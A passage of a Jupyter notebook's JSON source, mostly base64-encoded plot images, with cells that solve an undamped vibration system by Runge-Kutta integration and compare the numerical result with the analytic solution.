tMg0ND2UTsI30R+lGuPA84zB\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x10fd7bdd0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "x, Y = rungekutta(natural(wn, qsi), y0, tf=5)\n", "plt.plot(x, Y[:,0])\n", "plt.title('Undamped System - Numerical solution')\n", "plt.xlabel('t')\n", "plt.ylabel('y(t)')\n", "plt.grid()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We will plot the difference between the analytic solution and the numeric solution:" ] }, { "cell_type": "code", "execution_count": 23, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "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\ngTUrzHDHSrq1ou/bEx6